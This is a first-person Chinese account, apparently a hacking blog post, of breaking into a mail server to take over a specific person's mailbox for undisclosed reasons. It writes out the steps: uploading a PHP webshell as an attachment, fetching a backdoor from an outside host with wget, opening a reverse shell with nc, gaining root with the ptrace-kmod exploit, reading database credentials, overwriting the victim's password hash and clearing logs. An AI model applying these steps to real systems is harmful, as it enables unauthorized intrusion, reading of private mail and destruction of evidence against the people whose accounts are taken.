接手一个项目后,原本没有规律的生活变得更没头绪了……时间的因素决定了自己无法去做一些想做的事情,但有些时候又不得不去做一些不想做的事情。
得到一个MAIL信箱地址,想拿到这个信箱的密码。至于什么原因促使必须拿到密码,这里就保密了。
要拿到一个信箱的密码?暴力破解?枚举探测?NO!
一听暴力、枚举,头都大了……害怕暴力,更害怕枚举:)
首先打开此信箱的登陆地址 https://mail.xxx.com.cn。
简单看了一下,也没发现什么漏洞。再打开其主页 https://www.xxx.com.cn,看看全都是些HTML页面,连ASP都没有。心想这下不好办了,ASP代码漏洞、数据库插入漏洞统统派不上用场。好不容易有个论坛栏目还是空地,估计还没开。按惯例,看看是什么系统,心想应该是LINUX的吧,一般像邮局这些单位都比较喜欢用这类系统。
ping www.xxx.com.cn
Pinging www.xxx.com.cn [61.xxx.xxx.xxx] with 32 bytes of data:
Reply from 61.xxx.xxx.xxx: bytes=32 time <1ms TTL=255
接着用一个非标准的HTTP方法请求试一下:
501 Method Not Implemented
Method Not Implemented
to /index.html not supported.
Invalid method in request
Apache/1.3.12 Server at www.xxx.com.cn Port 80
Connection to host lost.
看到了想了解的信息:Apache/1.3.12,WEB是用APACHE架设的。从PING值以及80返回的信息来看,判断对方的主机应该是linux系统(此以上判断方法只是做为常用的判断手法,但不包含所有的服务器都可以用此方法判断出正确的操作系统,有些管理员没事干的时候可以改改PING值,改改WEB返回的版本信息,那么你得到的将会是一个错误信息了)。
从WEB的整个站点来看,没有什么可利用的东西,只开了80、25、110端口,没开远程TELNET管理,说不定还有防火墙。估计远程溢出等等程序都没有利用的余地了。没办法,只好回到mail.xxx.com.cn上看看,对着信箱登陆页面发呆……输入信箱用户名xxx,密码用假密码(如果这时候要是碰巧输入的密码是对的,那会如何?)。希望可以返回一些有用的错误信息,可见也很小气,只返回了“密码或者用户名错误”,什么都没了……无语……
眼睛一亮,上面这么大的图片写着“免费注册”,为什么不注册一个进去看看呢?正高兴地去点,怎么也点不开,还以为鼠标坏了。原来管理员把注册的连接地址去掉了,不允许注册,真是过分……
打开此页面仔细查看原代码,希望可以找到需要的信息:
看到了mail/login.php、getpw.html与cert/index.html。第一个是验证登陆页面login.php,请求后没找到可利用漏洞。getpw.htm?难道是找回密码的页面?可惜请求此页面提示找不到该页,估计是管理员删除了。接着请求cert/index.html,老天!真好,竟然是注册新用户的页面。(PS:在想为何管理员删除了getpwd.htm却留下了这个申请页面?难道是为了方便自己开新用户?那他用ADMIN帐号直接开用户不是更好?不解中……)
填好相关信息,注册了一个帐号为 test,密码为 test,登陆进去了,高兴……别人是不是在想,就注册一个普通的信箱用户也高兴……:(
思路是上传一个webshell上去,然后就好办了。但是怎么上传上去?这是个问题。注意,看到他是支持PHP的,那么APACHE的目录应该是不支持ASP的。找了个PHP的WEBSHELL。接着,邮件,发给谁?当然是发给自己了。上传webshell.php,然后OK点发送,就自己给自己发了一封信,附件里载着希望……webshell.php。现在的思路是如何知道webshell.php的真实访问地址。凭着入侵积累的经验,不停止地对附件构造伪造的请求,终于返回了需要的错误信息,判断一下便得到了真实的地址为:https://mail.xxx.com.cn/file/webshell.php。
好了,得到一个SHELL了。
uname 得到确实是linux的系统。
ls -l 看一下文件。
现在只是一个WEBSHELL环境,操作起来及不舒服,还是先得到一个CMD下的SHELL好。找出一个LINUX的反向连接程序,这样用NC将会得到一个本地SHELL,那么LINUX来说本地溢出提升到ROOT权限不是更容易了。开始……
wget https://xxx.com/bd.c -O /tmp/door.c 把db.c传到TMP下改名为 door.c(注:只有对TMP目录里才有写的权限)。
gcc -o /tmp/door /tmp/door.c 把door.c编译。
接着在PHP的SHELL里再输入 /tmp/door 211.xx.xxxx.xxx 反弹连接到的机器IP(211.xxx.xxx.xxx为本地机器IP)。
然后在本机开 nc -l -vv -p 4000,接着一会便出现了反弹成功的信息。
uid 看了一下。
接着提升权限到root:
wget https://xxxx.xxx.xxxx/ptrace-kmod.c 下载到机器上。
gcc -o ptrace-kmod ptrace-kmod.c 编译ptrace-kmod.c。
运行ptrace-kmod,溢出成功,拿到了ROOT权限。
ls -l 看到确定WEBMAIL的目录位置。
然后进入到WEBMAIL的目录里 ls -l,看到config.php文件。
接着 cat config.php,得到MYSQL的用户名为:root,密码为xxx,MAIL的数据库为webmail。
好了,本地进行登陆MYSQL:
mysql -u root -p 输入密码后进入了mysql。
查看需要的信箱用户xxx:
select * from webmail where pw_name='xxx';
返回:
----------------------------------------------------------------
pw_name pw_domain pw_passwd pw_uid pw_gid pw_gecos pw_dir
pw_shell
xxx mail.xxx.com.cn ftczP2YoArY7o 0 0 xxx /home/vp
opmail/domains/mail.xxx.com.cn/D/xxx 10485760
-------------------------------------------------------------------
看到了,要的用户xxx的密码是 ftczP2YoArY7o,很明显是加密过的。既然加密过的,就改他的密码,然后进他的邮箱。
select * from webmail where pw_name='test'; 看自己刚才注册的用户名信息:
----------------------------------------------------------------
pw_name pw_domain pw_passwd pw_uid pw_gid pw_gecos pw_dir
pw_shell
test mail.xxx.com.cn ft6GFs8hTv26 0 0 test /home/vp
opmail/domains/mail.xxx.com.cn/D/xxx 10485760
-------------------------------------------------------------------
好了,看到注册的test密码是ft6GFs8hTv26。
update webmail set pw_passwd='ft6GFs8hTv26' where pw_name='xxx'; 把用户名为xxx的密码改为test。
顺便也改了他的ADMIN和WEBMASTER的进去看一下,得到他的MAIL真的是没有管理员,难怪管理员没把那个申请的页面删除,还真是为了给自己用起来方便,呵呵。看完所需要的信息后,再把他们的密码恢复。然后清除日志,OK,此次入侵测试成功完成。
对方的主机系统为linux 8.0的。
